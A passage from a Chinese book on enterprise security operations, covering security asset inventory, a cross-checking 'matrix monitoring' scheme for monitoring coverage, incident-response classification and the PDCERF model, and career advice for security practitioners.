与业务维度不同的是，在系统维度应该更注重系统的逻辑构成，通过系统逻辑结构获取更多的安全资产信息。在系统维度值得关注的安全资产包括：

·外网IP资产。除了业务没有分配域名的情况外，笔者更愿意以系统的维度看待外网IP资产。外网IP资产与业务的实际构成往往是一对多的集群对应关系，一个开放的外网IP后端可能关联了多个真实IP地址，甚至可能关联多个集群虚IP。通过对外网IP资产的深度识别，可以获取更多的安全资产详细信息。

·外网开放端口资产。开放的端口资产是服务的直接入口，通过对端口资产的指纹识别，可以获取该端口上开放服务的真实情况。在实际工作中，经常会有端口号和端口上开放的服务不一致的情况。对网络工程师和安全工程师来说，在端口开放的操作和审计上往往只能做到OSI模型的第4层。端口策略开放后，操作人员可能将其他服务指定到该端口（例如申请80端口开放HTTP服务，之后将oracle1521端口服务指定到80端口），将会形成重大的风险隐患。

·内网集群IP资产。内网集群IP是负载均衡服务层的虚IP，该资产上联外网IP资产，下联real IP（业务主机操作系统IP）资产，是业务发布链上的重要一环。通过对内网机群IP资产的识别分析，可以获取更多的主机IP资产、端口资产等安全资产的详细信息。

·内网集群开放端口资产。内网集群开放的端口是系统层面的重要资产，但在实际情况中出于安全原因或资源原因，集群开放端口和real IP上开放的端口可能不一致。安全资产管理人员应根据资产的实际配置情况进行分析、记录。

（3）主机维度

主机层面已经开始进入业务系统的逻辑底层，主机可能是物理机，也可能是虚拟机。不同的主机环境对安全运营的要求和压力也不相同。在主机维度值得关注的安全资产包括：

·主机IP资产。主机IP资产实际上是操作系统上配置的IP资产，操作系统所在可能是物理机或虚拟机，一个操作系统上可能配置了多个IP资产。通过对存活主机IP资产的发现、识别和分析，可以确认资产的存活性并识别出主机上部署、开放的其他相关资产信息。

·主机开放端口资产。主机开放端口资产是主机上运行服务的直接访问接口，通过对主机开放端口的发现、识别和分析，可以获取主机上开放的具体服务信息，包括服务类型、服务版本等。

·中间件资产。中间件资产是最常见的资产类型之一，几乎所有的系统架构中都包含中间件资产。作为广泛应用的中间件产品，通用其漏洞往往能够带来重大的安全隐患。在安全资产管理层面，应该特别注重中间件资产的发现与识别。

·数据库资产。数据库资产是最常见的资产类型之一，几乎所有的系统架构中都包含数据库资产。作为广泛应用的数据库产品，通用其漏洞往往能够带来重大的安全隐患。在安全资产管理层面，应该特别注重数据库资产的发现与识别。

·操作系统资产。操作系统资产是业务系统的底层资产，其重要性不言而喻。Linux、windows等操作系统内含多种服务和组件。在为业务系统构建带来便利的同时，也将带来各种漏洞与风险（例如OpenSSL Heartbleed），安全运营应对操作系统资产的安全给予强烈关注和积极应对。

·其他应用服务资产。组织自身开发的业务应用和其他第三方的业务应用资产，也是安全资产管理中应该关注的一环。

（4）通用维度

除了各项资产的核心信息本身外，安全资产管理还应从系统状态、技术细节、管理角度多方面关注信息安全资产的重要信息：

·资产补丁状态。明确资产补丁状态可以判断资产是否受到确定漏洞的安全威胁，明确组织资产态势。

·主机HIDS状态（如有）。主机型入侵检测系统专注于系统内部，监视系统全部或部分的动态行为以及整个计算机系统的状态，是安全资产管理的一个有力接口。

·资产负责人。资产负责人可分为业务负责人、系统负责人、主机负责人等；又可根据组件分为中间件负责人、数据库负责人、操作系统负责人、网络系统负责人等。根据资产与责任人之间的明确对应关系，可以在资产风险管理过程中建立从业务到责任人的完整关系链条，有助于安全运营团队构建闭环的风险管理模式。

·系统开发商。在系统面临自身基因缺陷（代码、架构）导致的重大风险时，明确的系统开发商和联系方式，可使安全运营团队快速地联系系统的开发团队，寻找解决问题的办法。

业务依托于安全，安全服务于业务，抓住这个核心思想，才有助于安全运营团队确定组织需要关注的安全资产范围。


2.易被忽视的安全资产信息


安全运营团队在安全资产管理过程中不但应该具有高度的业务视角，也应具有入微的细节视角。俗话说“外行谈战略，内行谈后勤”。在实际工作中，某些细节问题往往是决定成败的关键点。易被忽视的安全资产包括：

·全局安全资产。充分考虑业务环境中所有的相关资产信息，除了核心系统外，还应考虑在IT层面上实现业务逻辑的周边系统资产、辅助系统资产。要充分考虑组织分支机构资产和外部公有云相关资产，避免在安全运营及外部合规性核查中因自身资产盲区导致不良后果。

·新型安全资产。在互联网+时代，还存在着一些新型的、不引人注意的资产类型。例如企业公众号、企业微博号等市场推广资源。从组织整体安全运营的角度看，这些资源可能存在误用、盗用、使用不规范等问题，导致发布了不合适的内容信息。公众信息发布的安全性，也可以作为安全资产管理的一个关注点。

·存在安全隐患的隐藏资产。除了直观可见的安全资产外，还存在着一些不面向大众用户的隐藏资产。例如开放在公网的API接口、网站管理后台等。以API为例，该资源不得不开放在互联网侧，基于用户的分布性又难以限制可接入IP，容易受到API参数篡改、内容篡改、中间人攻击等安全威胁。可通过前端防护设备及鉴权控制保障此类资产的安全性。

·特权账号。特权账号因其权限较大，比普通账号具有更强的脆弱性。账号作为业务系统人机交互的钥匙，在安全资产管理中容易受到忽视。

·易被忽视的资产属性。还有一些容易受到忽视，但对业务安全及业务可用性有很大影响的资产属性。例如网站证书有效期、域名有效期、各类设备维保时间和供应商联系电话等。

安全运营团队在安全资产管理中，应该做到全面细致地考虑，尽可能全面点亮安全资产管理范围，尽力避免资产信息黑洞带来的安全风险隐患。


3.安全资产管理系统


要做好安全资产管理工作，应该具备一系列的资产管理能力一套相对完善的资产管理系统，应至少包含以下能力：

·资产发现识别能力。
 资产发现能力是安全资产管理的基础能力。无论是传统的通过人工识别的资产发现能力，还是自动化、智能的产品级资产发现能力，想要进行安全资产管理，首先必须在某种环境或场景中发现存活资产，并且通过分析资产特征来识别资产详情。资产发现能力应该是全面和精确的，避免因不完善的甚至错误的资产发现造成重大风险隐患。

·资产持续监控能力。
 资产配置会随着业务需求的变更而不断变化，变化的范畴和频率是由业务的变更需求所引导的。要保证安全资产信息的持续有效，必须具备对资产配置变更的持续监控能力。通过周期性的、繁复的资产发现和复查，可以及时发现资产信息的变化情况，通过对资产变更信息的确认和入库，可以保障资产信息持续有效的。

·资产变化的合规性。
 资产配置变更流程应符合组织的变更管理规范，当运营团队执行某些安全资产的配置变更操作时（如新增配置、现有配置变更），应务必遵守组织制订的配置审批操作流程或变更审批操作流程。

·重点关注高危服务。
 对于3389-windows远程桌面服务默认端口、22-SSH服务、21端口-FTP服务和23端口-telnet服务等高危服务端口，安全运营团队应给与重点关注。在关注服务的默认端口的同时，还应注意可能存在服务端口变更的情况。这种在第4层服务确定的问题，应通过资产识别分析能力，从第7层反馈信息上判断端口上开放的真正服务内容。

·1day漏洞响应能力。
 发现资产安全漏洞不是安全运营的最终目的，解决发现的资产安全漏洞才是最终目的。安全运营团队应基于有效的安全资产数据，结合团队技术实力和管理能力，形成及时有效的1day漏洞响应处理能力。

·全局安全资产管理。
 安全运营团队在安全资产管理中，应基于组织业务架构具备全局管理视角，除了关注核心数据中心、总公司等重点资产区域外，还应充分考虑分公司、分数据中心、分布式业务系统的安全资产管理需求。安全运营团队应基于业务重要性和合规性要求给予分布资产足够的重视程度和管理级别。


4.安全资产分析数据可视化


数据可视化是安全运营工作的有力支持，通过将适合机读的资产数据转换为适合人读的展示形式，有助于安全运营团队对安全资产及其关联关系的识别、分析，能够提升安全事件处理效率。

尽量做到一目了然地读取安全资产相关的组件信息、业务信息、责任人信息，还可以通过与漏洞情报的关联，显示资产上存在的漏洞风险信息。


5.安全资产管理闭环


安全资产管理切忌发展成“有责任无执行，有变化无监控，有需求无响应，有问题无解决”的“四有四无”状态。一旦这些情况成为常态，意味着安全资产管理已经处于彻底失败的境地。要避免这种问题，应基于PDCA的原理，形成安全资产管理任务内部闭环的业务模式。

具体思路包括：

1）制订有效的安全资产闭环管理计划。

2）将计划中具体的任务、需求责任指派到具体的自然人，不能存在任何任务无接口人的情况。

3）任务发起人应通过任务清单或系统自动流程单，关注任务的处理进展。

4）不同类型的任务应有任务处理期限，不应形成无限挂起的僵尸任务。

5）执行人完成操作后，应由发起人进行验证，根据验证结果决定任务关闭或重新执行。

6）安全运营团队的管理者应重视闭环流程的执行情况，定期或不定期地对任务的执行状态进行检查，避免因为监督不力导致流程和规范名存实亡。




22.1.3　几点思考



资产管理归根到底，还是安全运营的一部分。笔者结合在安全资产管理工作中积累的一些经验，列出几点思考供读者参考：

（1）快速响应能力建设

安全资产管理最终的能力体现在安全运营团队对1day风险爆发时的快速响应。安全资产管理到位，具备完善的安全资产信息的安全运营团队，应该可以在1day漏洞爆发后，第一时间通过资产信息匹配列出一份疑似资产清单。同时，通过跟踪漏洞信息尽快获取可用的PoC，利用资产管理系统的PoC深度监测功能，精确定位受影响资产。

根据精确定位的风险资产清单、业务重要性、业务依赖关系、资产漏洞被利用的难度和漏洞修复建议，快速形成漏洞资产的处理建议。建议中还应包含处理的步骤建议，分析资产风险处置的优先级排序，给出风险处置保障建议。通过快速构建一整套可行的风险分析及处置方案，体现安全运营团队在组织中的存在价值。

（2）恪尽职守、尽力而为

不同组织基于实际情况，在人力配置和财力配置上有自身的客观条件，安全运营人员应结合实际情况选择合适的安全资产管理工具和方式。条件允许的，可以使用开源CMDB或更加成熟的第三方管理产品；条件不允许的，也应该采用人工梳理加Excel记录的传统方式尽力做好组织内的安全资产管理工作。

与其不作为导致安全运营工作效果不利，进而导致组织重视程度下降、资源缩水、工作效果不利的恶性循环，不如充分利用现有资源和团队成员的主观能动性，通过端正的工作态度和优秀工作效果，获得组织的关注和投入。作为职业人士，安全运营从业者理应恪尽职守、尽力而为。

（3）自动化和智能化是未来的发展方向

传统的、人工的、被动的、粗糙的安全资产管理方式已经完全无法满足多年来业务环境中信息化、自动化和网络化的发展形势。随着各种成熟的第三方安全资产管理产品的不断上市，安全资产管理的自动化和智能化程度在不断提高。随着行业实际业务模式的针对性功能不断开发，专业安全资产管理系统的可用性和效率也在不断提升。

结合近年来火热的大数据、人工智能等先进技术，安全资产管理系统的技术含量和含金量也将不断提高。自动化和智能化一定是安全资产管理技术的发展方向。




22.2　矩阵式监控






22.2.1　存在的问题



监控系统是确保系统正常提供功能的“眼睛”，通过持续不断地收集系统的状态信息，能够快速发现系统异常，快速响应和应急处理，尽可能降低业务受影响时间，将损失降到最低。

企业安全建设中安全感知能力依赖于部署在网络层、系统层、应用层、数据层、用户层等不同层级的安全监控系统，如防病毒系统、服务器安全客户端系统、蜜罐系统、IPS系统、安全总控中心系统等。笔者在实际中发现，由于安全监控系统失效导致安全防线被突破的情况占安全事件原因的比例很高，也是红蓝对抗中防守方失败的主要原因。监控系统存在的问题主要包括：

·资产管理工具和机制落后，未纳入集中统一管理的设备数量多，导致资产管理效果很差，没有好的技术手段和监控措施导致安全监控失效情况发生，基本依赖于系统管理员、安全管理员的责任心和运气。

·各类安全监控系统的监控标准不明确、不统一、甚至没有。

·新增设备没有纳入安全监控，安全监控系统无法与资产系统进行关联，确保监控全覆盖。

·各类监控系统无法进行整合，统一展现。从设备或监控系统单个维度呈现的结果不够准确，人工逐个系统检查的方式需要耗费大量人力，无法可持续地运营。

·无法完全保障监控结果的持续跟踪，确保所有已发现的监控失效问题得到整改。没有固化的流程跟踪缺失的监控。

从2012年底，笔者所在团队开始研究上述问题的解决思路，提出矩阵式监控思路，并进行了一年多的实际部署，将团队中全部种类和数量的设备纳入矩阵式监控，发现了较多监控整改项。结果证明，安全监控系统失效的事件大大降低，提升了安全有效性。




22.2.2　解决方案



矩阵式监控其实就是监控的监控，主要方案和实践将一一阐述。


1.资产准确性


要想确保监控全覆盖，必须保证资产的准确性，要与资产清单相关联才能得到最准确的结果。我们建立了一套资产管理平台，将资产管理系统化，摆脱了过去通过Excel文件增量更新的土办法。同时，与分配IP地址的系统相关联，自动获得本团队新增的IP资产，放入资产管理平台中。还可以再与自动化扫描和资产识别工具相关联，让资产管理更加自动化和准确。


2.明确监控标准


梳理在用的主要监控系统类别，明确各类安全监控系统需要部署的监控标准，如表22-1所示。

表22-1　各类监控系统及监控标准




□：需要安装监控

N/A：该监控对该类型设备无效

责任人：表示该监控项或该系统类型的负责人，负责制定该项监控标准

提示：该图仅列举了部分系统类型和监控项，实际中系统类型有10项，监控类型9项。


3.部署矩阵式监控


矩阵式监控主要通过横向和纵向两个维度的结果，进行比对，确保结果的准确。

（1）横向维度

横向维度指的是从上述监控标准中的横向系统出发，通过分析系统的配置、进程和服务情况，判断该系统是否添加了相应的监控手段，再和资产清单比对，形成横向的汇总报表。

通过检查各系统的配置，或者Windows和Linux的进程，服务等，生成监控结果，如表22-2所示。

表22-2　横向维度监控结果




注：仅列举了部分系统横向结果。

（2）纵向维度

纵向维度指的是从上述监控标准中的纵向监控系统出发，通过导出每套监控系统中添加的设备列表，再和资产清单比对，形成纵向的汇总报表。

从各监控系统中导出纳入管控的设备，生成监控结果，如表22-3所示。

表22-3　纵向维度监督结果




注：仅列举了部分纵向结果。

（3）结果比对

最后将横向报表和纵向报表进行比对，形成矩阵式监控报表。只有当横向和纵向结果中都显示监控正常，才认为是监控正常；否则均认为是有问题的，需要进行整改，确保不会遗漏。矩阵式监控报表的产生涉及众多系统类型和监控类型，很多都没有现成的报表功能，都需要通过开发程序和工具来实现。

通过交叉验证，确保结果准确性，如表22-4所示。

表22-4　横向结果与纵向结果比对




Fault：横向和纵向均为Fault，说明此项监控缺失，需要立即整改。

Diff：横向和纵向中有一个为Fault，一个为OK，说明其中某个结果有问题，可能是程序问题或者网络不通等，在比对结果中显示为diff，需要进一步排查。

OK：横向和纵向均为OK，说明此项监控已配置，并工作正常。

N/A，横向和纵向均为N/A，说明此项不适用。

（4）将比对结果与资产清单关联

重点要发现资产清单中未部署监控的设备，从而保证监控系统全覆盖。

如何确保新增的设备都纳入了监控？通过矩阵式监控报表与资产清单的比对，可以发现新上的设备未添加在资产管理系统中的情况，只要这台设备添加了任何一种监控方式，但是它没在资产清单中，可以很快被矩阵式监控发现，并显示事件，这样可以确保资产的及时更新，并确保新上设备的其他监控方式也全部添加。


4.持续跟踪整改


如何保证对矩阵式监控的结果持续跟踪、及时整改？

每天生成一份矩阵式监控报表，对存在的问题划分优先级，优先级高的纳入督办整改。在矩阵式监控实施之前，我们只零星发现一些监控缺失情况，对监控覆盖率还是很有信心的。生成报表后发现问题隐患还是比较多的，整改任务比较艰巨，花了很多精力和时间把监控这项基础工作做好做全面。通过矩阵式监控结果也发现资产清单的很多错误情况。

我们将矩阵式监控的日报与日常值班检查的监控界面进行集成，将不合规的项在监控界面上图形化展示，如图22-2所示。值班人员每天进行检查，并在值班记录中登记详细情况。第二天安全事件晨会回顾值班记录，团队负责人督导不合规项的整改，如果没有及时整改，以后每天都会在值班可视化监控平台中亮红。通过持续回顾和跟踪，确保整改到位。




图22-2　矩阵式监控结果可视化展现

图22-2中，绿色表示该管理员负责的系统或设备矩阵式监控检查全部合格，红色表示不合格，数字表示不合格项数量。




22.2.3　收益和体会



通过矩阵式监控的实施和长期运营，目前除了一些PC终端偶尔出现服务停止等不稳定因素外，监控覆盖率接近100%，监控出现缺失或监控服务出现异常，一个工作日之内便可以发现，并迅速修复。资产清单准确性也大大提升，不再单纯依靠人员的责任心和运气，而是通过资产缺失的自动发现机制，来督促大家及时更新资产。目前这套矩阵式监控机制运转良好，提升了安全监控的覆盖率和有效性。

矩阵式监控的方法具有普遍适用性，可用性监控等都可以参考借鉴，技术实现上来说没有任何问题。发现问题可视化和后续持续改进跟踪的机制，不仅确保了安全运营有效性和可持续性，也适用于绝大多数运营领域。

矩阵式监控解决的问题，本质上属于人因误操作领域，有关如何更专业地避免人为因素导致的生产故障，请了解“核电厂人因管理”，国内该领域研究走在前列的是某大学的人因研究所，某些金融机构已经在向该领域最专业行业跨界学习。

有两点体会如下：

·再优秀的安全技术也要尽可能做到“傻瓜化”，要像电视机一样，80岁老人会开，2岁小朋友也会开。安全产品或安全措施，如果动不动有强前置条件，比如需要能看懂告警的安全人员才能维护，那这个安全产品或安全措施没法持续安全运营，还不如不要。企业安全建设中，技术往往不是最头疼或首要考虑的问题（往往也不是问题），首要考虑的是能否有效发挥功能。再有效的监测技术，如果没有坚持安全运营，就像是马奇诺防线，好看不顶用。接地气的“笨办法”往往最有效。安全负责人对安全产品和厂商少一些抱怨，多一些坚持。

·矩阵式监控思路实现中，最终展现在一线人员前的只有几个小人图标（红色或绿色），这是复杂设计后的简单展现，让不具备太强安全能力的人员也能成为对抗攻击者的力量，这是安全工程化的能力，安全工作应尽可能地展现简单之美。




22.3　小结



本章介绍了安全资产管理面临的问题及管理方案，安全资产管理对于缩小攻击面，防范事前威胁以及事中处置，都是投入产出效益较高的安全工作之一，值得精耕细作。




第23章　应急响应



Gartner提出了面向下一代的安全体系框架—自适应安全框架（Adaptive Security Architecture，ASA），如图23-1所示。该框架从预测、防御、检测、响应四个维度，强调安全防护是一个持续处理的、循环的过程，细粒度、多角度、持续化地对安全威胁进行实时动态分析，自动适应不断变化的网络和威胁环境，并不断优化自身的安全防御机制。




图23-1　Gartner自适应安全框架

换而言之，Gartner认为企业的安全问题或漏洞一定会不可避免地被外部发现并被人利用，那我们该如何更有效地进行应急响应呢？应急响应其实有不少学问。




23.1　概述



关于应急响应，有针对性的国家标准可供参考：

·GB/T 24363-2009《信息安全应急响应计划规范》。

·GB/Z 20985-2007《信息安全事件管理指南》。

·GB/Z 20986-2007《信息安全事件分类分级指南》。

针对金融行业，银监会印发过《银行业重要信息系统突发事件应急管理规范（试行）》《银行、证券跨行业信息系统突发事件应急处置工作指引》等。

此外，PDCERF模型将应急响应分为准备（Preparation）、检测（Detection）、抑制（Con-tainment）、根除（Eradication）、恢复（Recovery）、跟踪（Follow-up）六个阶段：

1）准备。在事件未发生时的准备工作，包括策略、计划、规范文档及具体的技术工具和平台。

2）检测。初步判断是什么类型的问题，受影响的系统及严重程度。

3）抑制。限制攻击、破坏所波及的范围，通俗地讲叫“止血”。

4）根除。对事件发生的原因进行分析，彻底解决问题，避免在同一个问题上再次犯错。

5）恢复。把业务恢复至正常水平。

6）跟踪。落实整改措施并监控是否有异常，即安全运营中的持续改进。

有了这些标准、模型或指引，企业需要结合自身实际情况制订自己的应急响应规范，包括事件的分类分级、组织与职责、处理流程，甚至安全事件分析处理结果模板等。




23.2　事件分类



GB/Z 20986-2007《信息安全事件分类分级指南》根据将信息安全事件的起因、表现、结果等，将信息安全事件分为恶意程序事件、网络攻击事件、信息破坏事件、信息内容安全事件、设备设施故障、灾害性事件和其他信息安全事件等7个基本分类，每个基本分类包括若干个子类。

1）恶意程序事件，包括计算机病毒事件、蠕虫事件、特洛伊木马事件、僵尸网络事件、混合攻击程序事件、网页内嵌恶意代码事件、其他有害程序事件。

2）网络攻击事件，包括拒绝服务器攻击事件、后门攻击事件、漏洞攻击事件、网络扫描窃听事件、网络钓鱼事件、干扰事件、其他网络攻击事件。

3）信息破坏事件，包括信息篡改事件、信息假冒事件、信息泄露事件、信息窃取事件、信息丢失事件、其他信息破坏事件。

4）信息内容安全事件，包括违反宪法和法律、行政法规的信息安全事件，针对社会事项进行讨论评论形成网上敏感的舆论热点，出现一定规模炒作的信息安全事件，组织串联、煽动集会游行的信息安全事件，其他信息内容安全事件。

5）设备设施故障，包括软硬件自身故障、外围保障设施故障、人为破坏事故、其他设备设施故障。

6）灾害性事件。

7）其他信息安全事件。

在企业内部，我们往往更多接触的是前几类，我们按实际情况结合自己的理解对信息安全事件进行梳理，将其分为三个大类，下面分别阐述。


1.针对互联网应用的攻击事件


互联网应用由于对外网开放，也最容易被黑客盯上，加上各种自动化的扫描工具的出现，每天系统会监测到各种各样的扫描请求，扫描器会尝试各种Web漏洞请求，如SQL注入、XSS攻击、上传漏洞、目录遍历、特定文件请求等。针对一些登录接口，黑客会进行暴力破解、撞库攻击；针对一些URL或API接口，黑客会遍历请求以获取更多信息。若进一步深入到系统中，提权、安装后门、清理日志等也时有发生。若这些都没成，黑客还有可能为了获利采取DDoS攻击。


2.针对企业内网的攻击事件


企业员工一般都会通过邮件、上网、U盘拷贝等渠道和外界保持联系，而这三个点也容易被外部攻击者利用。邮件里包含恶意文件，用户点击就被会被控制；用户访问的网页可能会包括漏洞挂马页面，用户不小心就会中招；外部人员U盘插到内部电脑上也可能会使机器感染恶意程序，恶意程序进入到企业内网之后，会进一步探测网络结构，寻找最有价值的攻击目标和系统，达成目标后可能会将需要的信息通过各种手段外传出去。近年流行的勒索软件则更简单粗暴，直接加密用户文档数据，并要求受害者支付一定数量的比特币获取解密密钥。


3.来自内部的信息泄露事件


除了来自外部的攻击，还有可能存在内部员工无意或有意的信息泄露事件。

曾有一个被处理事件是，内部员工把一份文件遗忘在复印机上，被其他员工拍照发到朋友圈。更多来自内部的有意泄露可能隐藏在背后。




23.3　事件分级



事件分级的依据是受影响的系统重要程度及问题严重程度，很明显，核心业务系统、边缘业务系统和非业务系统要区别开来，直接获取到系统权限、仅获取Webshell权限、只是类似phpinfo信息泄露，也是完全不同的。




23.4　PDCERF模型




1.准备


PDCERF模型第一阶段即是准备工作，包括应急响应的规范制度、具体技术工具和平台的搭建运营等。制度规范制定后需要真正能落实执行，并依靠模拟演练来提升处理效率。技术工具和平台有所区别，工具是类似于静态编译的ls、lsof、ps、netstat以及一些快速分析日志、扫描文件特征的脚本等，这些到了目标机器上就会发挥作用；而平台则是在企业部署了FW、NIDS、HIDS、WAF等系统后，将各种安全系统在终端、网络、应用上采集的日志集中送到平台进行关联分析（如SOC系统）。


2.检测


发生事件后，需要判断受影响的系统是什么，事件的性质是什么，这就是检测阶段。基于初步的分析结论，再采取不同的处理流程进行应急处置。

如互联网某边缘系统被攻击，在SOC系统上报警有扫描行为，可能只需要运营人员简单拒绝就可以了，安全自动化做得好的企业可能就自动拦截了，不需要介入应急响应流程。

进一步，这个边缘系统报警有执行敏感指令而且父进程属于Web应用，这可能就需要应急人员开始处置了，但是否上报，上报到哪个层级，估计只是汇报给安全主管就可以了。

再进一步，如果网银系统有大量撞库攻击事件，同时有客户报障其账户因错误多次被锁，那只汇报给安全主管肯定不合适了。

检测工作除了要对业务了解，还有包括一些技术工作在内，比如流量大报警，是正常业务或发布导致还是有攻击，攻击是常规的DDoS、还是CC、还是机器被控制向外发包；再比如一封恶意邮件投递进来后，利用的是什么漏洞，回连地址是什么，以上这些，要利用一些技术手段去检测。


3.抵制


有了前面的判断分析，出具针对性的“止血”措施，便是抵制阶段要做的工作。外网来的攻击，是封来源IP还是流量清洗，针对内网的攻击是在出口封堵还是在终端上干涉，都是执行层面的工作，日常多演练，尽量自动化，会极大地提升效率。


4.根除


针对事件进行根因分析，定位到真正的原因。比如前面“检测”一节说的边缘业务系统被人获得了Webshell，对应的漏洞是什么？通过日志分析还原出整个入侵轨迹，进而发现到底有什么漏洞，便于接下来的整改工作。


5.恢复


恢复正常业务，这个过程不再赘述，前提是问题得到有效解决。


6.跟踪


发生安全事件，往往意味着安全系统不完善或者运营过程中存在失效情况，对事件进行根因分析，进而发现现有安全控制手段的缺陷，是一个很好的提升机会。

比如，前面WAF未拦截而后触发了IPS报警，就可以针对性地优化WAF策略；某页面有手机号未做脱敏处理被外界发现，就可以针对性地发现从开发、测试到运维侧的各种问题，落实到安全运维上，针对此信息泄露未能有效监测也是一个提升改进点。最后这些改进点，是否都落实到人，期限是多少，是否有效？这就是本阶段需要做的工作了。




23.5　其他话题



在实际的工作过程中，会不会有这样的场景：监管收到一个关于某金融机构的漏洞报告而该金融机构本身却完全不知道，这会是怎样的一种体验？再试想，高层领导收到外部某安全公司的邮件说你的机构有漏洞可能会被人利用，他一定会非常被动。

因此，企业除了自身在安全防御技术、运营上的努力外，还需要有一些其他层面的工作，比如沟通、人脉、情报等。这面方可以向互联网公司学习，互联网公司基本都建有自己的SRC，白帽子可以通过SRC平台报漏洞还有奖励，一方面借助白帽子发现企业漏洞从而提升企业安全性，另一方面减少漏洞被曝光在不可控平台的概率从而减少被动局面。




23.6　小结



不管采取了多么严密的安全管控措施，企业最终都有可能面临信息安全事件，在组织、人员、技术等各方面，做好应急响应的准备，并按照一定的应急响应程序做好组织工作，方可从容应对。




第24章　安全趋势和安全从业者的未来



工作日久，会接到一些朋友关于就业、职业规划的问题。自从开通微信公众号“君哥的体历”以来，也会收到后台留言，提及职业规划，以及有关工作迷茫的问题。比如，去一线城市还是回老家就业？我现在做的工作是XXX，感觉没前途，我很迷茫，我该怎么办？我现在有两个机会，一个是去大公司的XXX，一个是小公司的XXX，我该选择哪个？

上述大部分问题，笔者能获得的信息比较有限，因为每个人的成长经历、性格偏好、所处环境、家庭背景等情况都不一样，在不了解实际情况的前提下，很难给出最合适的建议。能做的，只是尽量提供一些通用的规则和原则，供提问者参考。

人的一生会面临很多选择，判断选择的因素应该是：趋势，职业规划，未来收益。因此，本章从职业规划方法论、安全趋势和安全从业者的未来等几方面，分享一些经验体会和思考。




24.1　职业规划方法论




1.社会分工


亚当·斯密在《国富论》写道：人的天赋差别并不大，造成人们才能上重大差别的是分工的后果。哲学家和挑夫之间的差别，就是职业分工的结果。社会分工在我们学习时就已经开始了，我和同学在参加高考时，大部分都不太清楚计算机科学与技术、材料科学、电气工程自动化等专业会在未来对自己就业和职业发展带来怎样的影响，但职业分工已经开始了。

现代工业发展，将业务流程化、标准化，催生了一个个非常细分的岗位，一方面大大提高了社会生产率，另一方面由于社会分工的高度细化，大部分劳动者只能在流水线前日复一日不知疲倦地拧着那颗螺丝钉，可替代性很强，因此价值很低。保安、柜员、前台、应收应付会计，甚至是比较底层的码农、一线人员等。而且由于这种重复机械性劳动的禁锢，劳动者还失去了学习的机会，这意味着他很难提升自我的内在价值。

举个例子，笔者原来在一家全国性股份制银行信息技术部工作，近距离观察过IT部门负责采购的同事们的工作状态，因为IT部门的项目比较多，采购同事们工作任务比较重，因此分工比较细，包括需求审核、采购文档录入和审核、供应商管理、采购谈判、合同签订和管理等几个岗位。负责文档录入、合同管理的同事每天要面临大量的采购文档和数据录入，经常加班到很晚，没时间学习新的技能充电，回家就躺床上一动不动了。对于他们来说，个人核心价值的提升，就会相对比较困难。

反之，一个人的不可替代性越强，就越有价值。构建个人核心竞争力，一定要在自己的专业领域做出深度，成为专家。同时兼顾知识的广度，在相关的专业领域上扩展自己的知识结构。选择工作的时候，规避主要内容都是dirty work的工作，最完美的状态就是每时每刻都能学到新的知识，按照“10 000小时”定律努力下去，就有可能成为某行业的顶尖人才。


小结一：
 尽可能规避社会分工给个人职业发展带来的不利因素，尽快塑造工作中的个人价值与不可替代性。


2.给职业生涯上杠杆


是不是每个人坚持按照“10 000个小时”定律努力下去，就能成为顶尖人才，从此走上人生巅峰呢？显然不是。一方面，个体的差异是存在的，有些人适合从事技术类岗位往深度发展并成功，有些人并不适合。另一方面，高阶岗位除了需要技术专家以外，更多需要全面解决问题的复合型人才。

所以说，不管是做技术，还是做管理，或者做各种一线运营工作，你能创造的价值都是有明显的天花板的。如果你从事的工作职能单纯是靠出卖脑力和体力，那么就算是能力再强，天赋再高，24个小时不睡觉，一个人最多也就顶俩、顶仨，这是人的生理极限所决定的，那么你也就创造了两三个人的价值。如果你想迈入更高职级职位，必须突破个人生理极限瓶颈。

如果是“搬砖”性质的工作，长年累月地加班，累死累活，也就是砖搬得又快又好又多，发展空间有明显天花板的，再进一步就要猝死了。会计行业很多审核发票报销的岗位、银行的柜员、四大会计师事务所的安全审计等日复一日重复工作且得不到太多价值提升空间的岗位，随着人工智能发展，未来能保住饭碗就算不错了，这是市场供需和工作难度决定的。

破解困境的方法是给你的职业生涯上杠杆，用你的24个小时去撬动许许多多别人的24个小时，你才能用你那渺小的身躯创造出更大的价值。组建团队，团队作战产出更多绩效是上杠杆；优化改进现有工作机制避免类似问题再次发生是上杠杆；拓宽工作范围承担更多职责是上杠杆；合理利用和优化资源配置解决实际问题还是上杠杆。如果说在自己的专业领域做出深度，成为专家是1，给职业生涯上杠杆就是1后面的0，给职业生涯上杠杆，你可以十倍百倍地创造价值。很多安全传奇人物，技术上到达一定巅峰后，转而从事各类“安全生态”建设，推动某个安全领域往前发展，这也是善用团队力量，优化配置资源，从解决单纯的点状问题转向批量彻底解决一类问题。庄子说，“君子生非异也，善假于物也。”安全从业人员，也可以审时度势建设各类“安全生态”，善用团队力量，优化配置资源，从而创造更大价值，那其职业生涯也将取得更大成就。


小结二：
 个人单独能创造的价值有明显天花板，给职业生涯上杠杆，善用团队力量，优化配置资源，创造更大价值，职业生涯将取得更大成就。


3.像创业那样去打工


周鸿祎说他当年工作，与别人最大的不一样就是，从来不觉得他是在给别人打工，他觉得是在为自己干。因为他干任何一件事情首先考虑的是，通过干这件事情能学到什么东西，学到的东西是别人夺不走的。塑造个人价值的不可替代性，给职业生涯上杠杆以创造更大价值，如果说这两方面属于职业规划的战略，那么像创业那样去打工，就属于职业规划的战术。

人的本性是懒惰的，科技进步的本质是为人类提供更“懒惰”的生活方式。基于这一前提，个人是很难突破本我，实现超我的。为什么有的人像打了鸡血一样勤奋不辍，为什么有的人孜孜以求，为什么有的人对于困难甘之如饴？因为这类人不是在为别人打工，是在为自己打工，是在创业。由要我干，转变为我要干，就是在创业，在为自己的未来打工。像创业那样去打工和其他打工的区别是，前者不断在学习，提升自身价值，后者在日复一日的重复劳动中消耗青春。

学东西，在工作中分为被动学习和主动学习。被动学习是指，为了完成日常工作任务和弥补知识欠缺，你不得不进行学习。需要注意的是，这种学习其实是十分高效的，因为为了生存，人容易调动起学习的积极性，因此，一份好工作，它的被动学习空间应该越大越好。大部分人，如果不是环境所迫，一般都不会主动去学习，容易陷入混吃等死的工作生活状态。工作的流水线程度越高，被动学习的空间越小。什么样的工作被动学习空间小？那些一成不变，不断重复，工作非常清闲，完成过程不是那么“痛苦不堪”，这样的工作被动学习空间比较小。

为什么大部分行业，销售类的岗位收入都高于其他同等要求的岗位？因为不同行业不同发展阶段的客户需求千奇百怪，会遇到和需要解决相关的各类令人棘手的问题，这些都是很需要经验的非结构化问题。

